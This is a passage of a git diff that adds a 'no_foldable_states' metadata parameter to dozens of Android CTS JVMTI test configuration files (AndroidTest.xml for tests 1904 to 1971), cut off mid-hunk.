+++ b/hostsidetests/jvmti/run-tests/test-1904/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1906/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1906/AndroidTest.xml
index 73e3c55..d0bca55 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1906/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1907/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1907/AndroidTest.xml
index 958ba54..74ba0df 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1907/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1908/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1908/AndroidTest.xml
index 767c8c0..df1463c 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1908/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1909/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1909/AndroidTest.xml
index 7b7234c..a6031e1 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1909/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1910/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1910/AndroidTest.xml
index 0a2105d..f79ecf8 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1910/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1911/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1911/AndroidTest.xml
index 7024b6d..23c9f88 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1911/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1912/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1912/AndroidTest.xml
index 7df6705..7d7061a 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1912/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1913/AndroidTest.xml
index 6b24252..4d7ab5a 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1913/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1914/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1914/AndroidTest.xml
index a1f09a8..469fbda 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1914/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1915/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1915/AndroidTest.xml
index ee00dbf..181c328 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1915/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1916/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1916/AndroidTest.xml
index f25aabc..302d234 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1916/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1917/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1917/AndroidTest.xml
index 9ca810a..bbef6f5 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1917/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1920/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1920/AndroidTest.xml
index 45ed21c..5f95730 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1920/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1921/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1921/AndroidTest.xml
index 5dbb903..5a61437 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1921/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1922/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1922/AndroidTest.xml
index df75763..ae2586b 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1922/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1923/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1923/AndroidTest.xml
index af1c0d2..290dfbf 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1923/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1924/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1924/AndroidTest.xml
index 2d50d4e..19060a7 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1924/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1925/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1925/AndroidTest.xml
index 1ccdb93..01b3fbe 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1925/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1926/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1926/AndroidTest.xml
index f4ec859..92850f7 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1926/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1927/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1927/AndroidTest.xml
index 0faa802..6664482 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1927/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1928/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1928/AndroidTest.xml
index 096f5ac..5e38169 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1928/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1930/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1930/AndroidTest.xml
index a6c5946..f077156 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1930/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1931/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1931/AndroidTest.xml
index 8fed4bf..249c2a2 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1931/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1932/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1932/AndroidTest.xml
index 2bb94ab..fb9de3f 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1932/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1933/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1933/AndroidTest.xml
index 324aded..b172bf8 100644
--- a/hostsidetests/jvmti/run-tests/test-1933/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1933/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1934/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1934/AndroidTest.xml
index 6023b6c..877c94c 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1934/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1936/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1936/AndroidTest.xml
index ac194a0..ad7be38 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1936/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1937/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1937/AndroidTest.xml
index 0f6daef..c692d69 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1937/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1939/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1939/AndroidTest.xml
index e96dcfe..e665052 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1939/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1941/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1941/AndroidTest.xml
index 3dd86fd..62df7f0 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1941/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1942/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1942/AndroidTest.xml
index 7bb68e8..b5d7945 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1942/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1943/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1943/AndroidTest.xml
index 008b29b..7532161 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1943/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml
index 3f0c776..fa31a98 100644
--- a/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1953/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml
index 8157bc0..220a0cb 100644
--- a/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1958/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1962/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1962/AndroidTest.xml
index 32ddfc9..1da34de 100644
--- a/hostsidetests/jvmti/run-tests/test-1962/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1962/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1967/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1967/AndroidTest.xml
index ee555ef4..2680ad2 100644
--- a/hostsidetests/jvmti/run-tests/test-1967/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1967/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1968/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1968/AndroidTest.xml
index 35f5d65..60e10bc 100644
--- a/hostsidetests/jvmti/run-tests/test-1968/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1968/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1969/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1969/AndroidTest.xml
index aa2c833..a1b163f 100644
--- a/hostsidetests/jvmti/run-tests/test-1969/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1969/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1970/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1970/AndroidTest.xml
index 113185d..a0f452f 100644
--- a/hostsidetests/jvmti/run-tests/test-1970/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1970/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1971/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1971/AndroidTest.xml
index edeaa3a..ac9af54 100644
--- a/hostsidetests/jvmti/run-tests/test-1971/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1971/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
